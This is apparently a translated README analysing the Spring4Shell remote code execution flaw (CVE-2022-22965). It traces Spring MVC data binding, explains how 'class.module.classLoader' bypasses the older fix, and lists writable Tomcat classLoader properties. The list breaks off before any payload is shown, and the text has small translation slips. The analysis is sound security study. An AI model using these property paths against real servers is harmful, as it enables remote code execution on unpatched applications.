enokiy/spring-rce-cve-2022-22965Educational analysis and proof-of-concept exploit for CVE-2022-22965, a Spring MVC/WebFlux remote code execution vulnerability via data binding on JDK 9+ with Tomcat WAR deployment.
Recently, Spring released a major CVE vulnerability. The CVE information states: "A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it (Spring MVC or Spring WebFlux applications running on JDK 9+ may be vulnerable to remote code execution via data binding. The specific exploit requires the application to be deployed as a war package on Tomcat. If the application is deployed as a Spring Boot executable jar, i.e., the default, it is not vulnerable. However, the nature of the vulnerability is more general, and there may be other ways to exploit it)." This analysis learns the vulnerability principle through reproduction of this CVE.
Before looking at the principle of Spring MVC parameter binding, let's first take a look at some APIs related to Java Beans.
Declare the following Java bean class:```java public class User { private String name;
public User() {
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return this.name;
}
public int getAge() {
return 18;
}
}
Use the following test code to see the information obtained by Introspector.getBeanInfo:```java
@Test
public void testIntrospector() throws IntrospectionException {
BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
}
// for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
// System.out.println("Method: " + md.getName());
// }
}
(empty)```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String
Apart from the expected `age` and `that`, there is also a `class` attribute with the class name `Class`. If you continue to call `Introspector.getBeanInfo(Class.class)`, you can obtain more information such as `classLoader`:```text jdk11:
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: nestHost
Property: nestMembers
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
Also, compare the differences in the information obtained by Introspector.getBeanInfo(Class.class) under different JDK versions. The above is the output under jdk-11, and the below is the output under JDK8:```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters
这是 README 的第十一部分翻译。```text
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
JDK9 adds two attributes, module and packageName, compared to JDK8. In JDK11, besides module and packageName, there are two additional attributes: nestHost and nestMembers.
The parameter binding process in web frameworks, simply put, is that the framework converts string-form parameters in HTTP requests into the types actually needed by the server. Taking Spring MVC as an example: Define two Bean classes, User and UserInfo:```java public class UserInfo { public User getUser() { return user; }
public void setUser(User user) {
this.user = user;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
private User user;
private String password;
@Override
public String toString() {
return "UserInfo{" +
"user=" + user +
", password='" + password + '\'' +
'}';
}
}
Use the following controller as a test:```java
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class DemoController {
public DemoController() {
}
@RequestMapping({"/test"})
public String test(User u) {
System.out.println("access!");
return "home";
}
@RequestMapping({"/get-user-info"})
public String getUserInfo(UserInfo userInfo) {
System.out.println("Name:" + userInfo.getUser().getName());
System.out.println("Age:" + userInfo.getUser().getAge());
System.out.println("password:" + userInfo.getPassword());
System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
return userInfo.toString();
}
}
When we visit /get-user-info?password=password&user.name=enokiy, the framework automatically instantiates the UserInfo class and binds the corresponding values to the corresponding properties (through user.name we can access the userInfo.user.name property in a nested manner):
Let's debug to see the complete flow of data binding in Spring MVC:
Starting from the doDispatch method of org.springframework.web.servlet.DispatcherServlet, in the doDispatch method we first obtain mappedHandler based on the request, then obtain HandlerAdapter, and then call the handle() method of HandlerAdapter to process the request specifically and return ModelAndView:
Here, in HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()), the ha obtained is actually an instance of the org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter class. After executing the handle() method of HandlerAdapter, we enter the invokeHandleMethod method of RequestMappingHandlerAdapter:
Then in the invokeHandleMethod method, based on handlerMethod, an instance invocableMethod of ServletInvocableHandlerMethod is generated, with the corresponding dataBinderFactory, modelFactory, and argumentResolvers set. Then we enter invocableMethod.invokeAndHandle → invokeForRequest → getMethodArgumentValues, where resolution is done through different parameter resolvers:
The parameter resolvers here are as follows:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor
So how do we know which specific parameter resolver to use for resolving the parameters in the current request? In Spring MVC, it is determined based on the annotation information of the parameter (the code logic is in the `HandlerMethodArgumentResolverComposite#getArgumentResolver` method). For example, if `@RequestMapping` and `@ModelAttribute` annotations are used, then `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor` is used; `@RequestParam` corresponds to `RequestParamMethodArgumentResolver`, etc.
The annotation used in the current demo is `@RequestMapping`, so let's continue to look at the parameter binding process in the `ServletModelAttributeMethodProcessor` class:```java
public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
String name = ModelFactory.getNameForParameter(parameter);
ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
if (ann != null) {
mavContainer.setBinding(name, ann.binding());
}
Object attribute = null;
BindingResult bindingResult = null;
if (mavContainer.containsAttribute(name)) {
attribute = mavContainer.getModel().get(name);
}
else {
// Create attribute instance
try {
attribute = createAttribute(name, parameter, binderFactory, webRequest);
}
catch (BindException ex) {
if (isBindExceptionRequired(parameter)) {
// No BindingResult parameter -> fail with BindException
throw ex;
}
// Otherwise, expose null/empty value and associated BindingResult
if (parameter.getParameterType() == Optional.class) {
attribute = Optional.empty();
}
bindingResult = ex.getBindingResult();
}
}
if (bindingResult == null) {
// Bean property binding and validation;
// skipped in case of binding failure on construction.
WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
if (binder.getTarget() != null) {
if (!mavContainer.isBindingDisabled(name)) {
bindRequestParameters(binder, webRequest);
}
validateIfApplicable(binder, parameter);
if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
throw new BindException(binder.getBindingResult());
}
}
// Value type adaptation, also covering java.util.Optional
if (!parameter.getParameterType().isInstance(attribute)) {
attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
}
bindingResult = binder.getBindingResult();
}
// Add resolved attribute and BindingResult at the end of the model
Map<String, Object> bindingResultModel = bindingResult.getModel();
mavContainer.removeAttributes(bindingResultModel);
mavContainer.addAllAttributes(bindingResultModel);
return attribute;
}
Based on the request parameters, obtain the parameter name in the model. First, check whether the parameter name exists in ModelAndViewContainer. If it does, directly retrieve the attribute from ModelAndViewContainer; otherwise, enter ServletModelAttributeMethodProcessor#createAttribute to create the model attribute:
ServletModelAttributeMethodProcessor#createAttribute:
First, in the current class, check whether the request URI and parameters contain the attribute name (getRequestValueForAttribute method). If they do, return the value; otherwise, proceed to the super.createAttribute method:
binderFactory.createBinder: Create WebRequestDataBinder
bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters --> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind --> DataBinder#doBind --> DataBinder#applyPropertyValues --> DataBinder#getPropertyAccessor().setPropertyValues:
Among them, in the DataBinder#doBind method, there are checks for allowFields and requiredFields. In the current test version, they are empty by default:
In AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid), AbstractPropertyAccessor#setPropertyValue is called in a loop to bind the property values of each request parameter. During the binding process, if the parameter name contains ".", it is also necessary to recursively bind the properties after "." by calling getNestedPropertyAccessor:
The process of recursively obtaining property values enters the following data flow processing:```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults
In the `getLocalPropertyHandler` method, the `getCachedIntrospectionResults` method is called to check if the current property exists in `cachedIntrospectionResults`. In addition to the properties from the current request, `cachedIntrospectionResults` also contains a built-in property named `class`:
As mentioned earlier in the introspection mechanism regarding obtaining BeanInfo, if the BeanInfo class of a Java Bean has been previously introspected, the BeanInfo class is retrieved from the BeanInfo cache. Therefore, the role of `cachedIntrospectionResults` here should be to implement this feature:
At this point, let's summarize the parameter binding process in Spring MVC:
1. When Spring MVC initializes, the `RequestMappingHandlerAdapter` class adds some default argument resolvers to `argumentResolvers`. When Spring MVC receives a request, it enters the `doDispatch` method of `DispatcherServlet`. In the `doDispatch` method, it first obtains the `mappedHandler` based on the request, then obtains the `HandlerAdapter`, processes the request specifically by calling the `handle()` method of `HandlerAdapter`, and returns a `ModelAndView`. The `ViewResolver` then resolves and returns a `View`, and the front-end parser finally renders the view.
2. During the specific processing of the request in the `handle()` method of `HandlerAdapter`, an instance of `ServletInvocableHandlerMethod` named `invocableMethod` is generated based on the `handlerMethod`. The corresponding `dataBinderFactory`, `modelFactory`, and `argumentResolvers` are set. Then, it enters the `invokeAndHandle` → `invokeForRequest` → `getMethodArgumentValues` methods of `invocableMethod`, where parsing is performed through different argument resolvers. The argument resolver is determined based on the annotation information of the parameter.
3. During parameter resolution, an instance (property) corresponding to the `handlerMethod` parameter name is first generated for the request parameter. Then, through `DataBinder`, it finally enters `BeanWrapperImpl` to assign values to the relevant properties of the bean. `BeanWrapperImpl` specifically implements methods for creating, holding, and modifying beans.
The `setPropertyValue` method can inject parameter values into the relevant properties of the specified bean (including list, map, etc.), and can also set property values nested:
Both Spring MVC's data binding (binding various parameters to the parameters of the request processing method annotated with `@RequestMapping`) and `BeanFactory` (processing the `@Autowired` annotation) use the `BeanWrapper` interface.
### Variable Overwrite
Because the `setPropertyValue` method mentioned above looks up in `cachedIntrospectionResults` when setting properties nested, and `cachedIntrospectionResults` contains an extra `class` property in addition to the parameters from the request, it is possible to access properties of `classLoader` through `class.classLoader.xx` in the request. This was the CVE-2010-1622 vulnerability in early Spring versions. The current CVE-2022-22965 is a bypass of the protection mechanism for this vulnerability:
The structure of `cachedIntrospectionResults` is as follows:
1. The property information of `BeanClass` is extracted via `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)`. Because the `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)` method does not specify a `stopClass`, when a property is not found in the current class, it looks up in the parent class.
2. The `ClassLoader` and `protectionDomain` properties of the `Class` class are disabled. This is the defense method against CVE-2010-1622.
At the beginning of the article, it was compared that under different JDK versions, the property values obtained via `Introspector.getBeanInfo(xxx)` differ. In JDK 9 and above, two additional properties, `module` and `packageName`, appear. Under the `module` property, there is a `classLoader` property. Therefore, the `module` property can be used to access `classLoader`, thus bypassing the defense against CVE-2010-1622 and achieving variable overwrite:
### Exploitation
After understanding that the root cause of this vulnerability is variable overwrite, let's look at the issues in the exploitation process:
1. Which variables can be overwritten?
2. What impact will the overwritten variables have?
Now it is known that variable overwrite can be performed via `class.module.classLoader`. So which specific variables can be overwritten? In different deployment scenarios of Spring MVC, the `classLoader` differs, so the exploitation method is not universal.
| Deployment Form | classLoader |
| ---- | ---- |
| SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
| tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
| jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |
Under tomcat war deployment (current test environment: "apache-tomcat-8.5.8" + "jdk-11.0.1"), the readable and writable properties accessible under `class.module` are as follows (incomplete, properties that are List/Map/Set are not collected):
<details>
<summary>
Click to view the readable and writable properties accessible under class.module
</summary>```text
class.module
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.clearReferencesLogFactoryRelease
class.module.classLoader.clearReferencesRmiTargets
class.module.classLoader.clearReferencesStopThreads
class.module.classLoader.clearReferencesStopTimerThreads
class.module.classLoader.delegate
class.module.classLoader.resources
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources
class.module.classLoader.resources.allowLinking
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.cachingAllowed
class.module.classLoader.resources.context
class.module.classLoader.resources.domain
class.module.classLoader.resources.trackLockedFiles
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.context
class.module.classLoader.resources.context.addWebinfClassesResources
class.module.classLoader.resources.context.allowCasualMultipartParsing
class.module.classLoader.resources.context.altDDName
class.module.classLoader.resources.context.antiResourceLocking
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.charsetMapperClass
class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources.context.clearReferencesRmiTargets
class.module.classLoader.resources.context.clearReferencesStopThreads
class.module.classLoader.resources.context.clearReferencesStopTimerThreads
class.module.classLoader.resources.context.cluster
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.configured
class.module.classLoader.resources.context.containerSciFilter
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.cookies
class.module.classLoader.resources.context.copyXML
class.module.classLoader.resources.context.crossContext
class.module.classLoader.resources.context.defaultContextXml
class.module.classLoader.resources.context.defaultWebXml
class.module.classLoader.resources.context.delegate
class.module.classLoader.resources.context.denyUncoveredHttpMethods
class.module.classLoader.resources.context.dispatchersUseEncodedPaths
class.module.classLoader.resources.context.displayName
class.module.classLoader.resources.context.distributable
class.module.classLoader.resources.context.docBase
class.module.classLoader.resources.context.domain
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.effectiveMinorVersion
class.module.classLoader.resources.context.failCtxIfServletStartFails
class.module.classLoader.resources.context.fireRequestListenersOnFoards
class.module.classLoader.resources.context.ignoreAnnotations
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.j2EEApplication
class.module.classLoader.resources.context.j2EEServer
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.javaVMs
class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
class.module.classLoader.resources.context.jspConfigDescriptor
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.logEffectiveWebXml
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
class.module.classLoader.resources.context.name
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.originalDocBase
class.module.classLoader.resources.context.override
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parentClassLoader
class.module.classLoader.resources.context.path
class.module.classLoader.resources.context.preemptiveAuthentication
class.module.classLoader.resources.context.privileged
class.module.classLoader.resources.context.publicId
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.reloadable
class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
class.module.classLoader.resources.context.resourceOnlyServlets
class.module.classLoader.resources.context.resources
class.module.classLoader.resources.context.sendRedirectBody
class.module.classLoader.resources.context.server
class.module.classLoader.resources.context.sessionCookieDomain
class.module.classLoader.resources.context.sessionCookieName
class.module.classLoader.resources.context.sessionCookiePath
class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startChildren
class.module.classLoader.resources.context.startStopThreads
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.swallowAbortedUploads
class.module.classLoader.resources.context.swallowOutput
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.tldScanTime
class.module.classLoader.resources.context.tldValidation
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.unpackWAR
class.module.classLoader.resources.context.useHttpOnly
class.module.classLoader.resources.context.useNaming
class.module.classLoader.resources.context.useRelativeRedirects
class.module.classLoader.resources.context.validateClientProvidedNewSessionId
class.module.classLoader.resources.context.webappVersion
class.module.classLoader.resources.context.workDir
class.module.classLoader.resources.context.wrapperClass
class.module.classLoader.resources.context.xmlBlockExternal
class.module.classLoader.resources.context.xmlNamespaceAware
class.module.classLoader.resources.context.xmlValidation
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.authenticator.alwaysUseSession
class.module.classLoader.resources.context.authenticator.asyncSupported
class.module.classLoader.resources.context.authenticator.cache
class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
class.module.classLoader.resources.context.authenticator.container
class.module.classLoader.resources.context.authenticator.disableProxyCaching
class.module.classLoader.resources.context.authenticator.domain
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.securePagesWithPragma
class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
class.module.classLoader.resources.context.authenticator.secureRandomClass
class.module.classLoader.resources.context.authenticator.secureRandomProvider
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.scanAllDirectories
class.module.classLoader.resources.context.jarScanner.scanAllFiles
class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
class.module.classLoader.resources.context.jarScanner.scanClassPath
class.module.classLoader.resources.context.jarScanner.scanManifest
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.loader.context
class.module.classLoader.resources.context.loader.delegate
class.module.classLoader.resources.context.loader.domain
class.module.classLoader.resources.context.loader.loaderClass
class.module.classLoader.resources.context.loader.reloadable
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.loginConfig.authMethod
class.module.classLoader.resources.context.loginConfig.errorPage
class.module.classLoader.resources.context.loginConfig.loginPage
class.module.classLoader.resources.context.loginConfig.realmName
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.manager.context
class.module.classLoader.resources.context.manager.domain
class.module.classLoader.resources.context.manager.duplicates
class.module.classLoader.resources.context.manager.expiredSessions
class.module.classLoader.resources.context.manager.maxActive
class.module.classLoader.resources.context.manager.maxActiveSessions
class.module.classLoader.resources.context.manager.pathname
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.processingTime
class.module.classLoader.resources.context.manager.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.secureRandomClass
class.module.classLoader.resources.context.manager.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
class.module.classLoader.resources.context.manager.sessionCounter
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionMaxAliveTime
class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
class.module.classLoader.resources.context.namingContextListener.name
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.namingResources.container
class.module.classLoader.resources.context.namingResources.domain
class.module.classLoader.resources.context.namingResources.transaction
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parent.appBase
class.module.classLoader.resources.context.parent.autoDeploy
class.module.classLoader.resources.context.parent.backgroundProcessorDelay
class.module.classLoader.resources.context.parent.cluster
class.module.classLoader.resources.context.parent.configClass
class.module.classLoader.resources.context.parent.contextClass
class.module.classLoader.resources.context.parent.copyXML
class.module.classLoader.resources.context.parent.createDirs
class.module.classLoader.resources.context.parent.deployIgnore
class.module.classLoader.resources.context.parent.deployOnStartup
class.module.classLoader.resources.context.parent.deployXML
class.module.classLoader.resources.context.parent.domain
class.module.classLoader.resources.context.parent.errorReportValveClass
class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
class.module.classLoader.resources.context.parent.name
class.module.classLoader.resources.context.parent.parent
class.module.classLoader.resources.context.parent.parentClassLoader
class.module.classLoader.resources.context.parent.realm
class.module.classLoader.resources.context.parent.startChildren
class.module.classLoader.resources.context.parent.startStopThreads
class.module.classLoader.resources.context.parent.undeployOldVersions
class.module.classLoader.resources.context.parent.unpackWARs
class.module.classLoader.resources.context.parent.workDir
class.module.classLoader.resources.context.parent.xmlBase
class.module.classLoader.resources.context.pipeline.basic
class.module.classLoader.resources.context.pipeline.container
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.realm.allRolesMode
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.container
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.domain
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.realmPath
class.module.classLoader.resources.context.realm.stripRealmForGss
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.realm.validate
class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.next.asyncSupported
class.module.classLoader.resources.context.authenticator.next.container
class.module.classLoader.resources.context.authenticator.next.domain
class.module.classLoader.resources.context.authenticator.next.next
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
class.module.classLoader.resources.context.manager.engine.cluster
class.module.classLoader.resources.context.manager.engine.defaultHost
class.module.classLoader.resources.context.manager.engine.domain
class.module.classLoader.resources.context.manager.engine.jvmRoute
class.module.classLoader.resources.context.manager.engine.name
class.module.classLoader.resources.context.manager.engine.parent
class.module.classLoader.resources.context.manager.engine.parentClassLoader
class.module.classLoader.resources.context.manager.engine.realm
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.startChildren
class.module.classLoader.resources.context.manager.engine.startStopThreads
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.container
class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.credentialHandler.algorithm
class.module.classLoader.resources.context.realm.credentialHandler.encoding
class.module.classLoader.resources.context.realm.credentialHandler.iterations
class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.container
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.service.container
class.module.classLoader.resources.context.manager.engine.service.domain
class.module.classLoader.resources.context.manager.engine.service.name
class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.basic.container
class.module.classLoader.resources.context.parent.pipeline.basic.domain
class.module.classLoader.resources.context.parent.pipeline.basic.next
class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.buffered
class.module.classLoader.resources.context.parent.pipeline.first.checkExists
class.module.classLoader.resources.context.parent.pipeline.first.condition
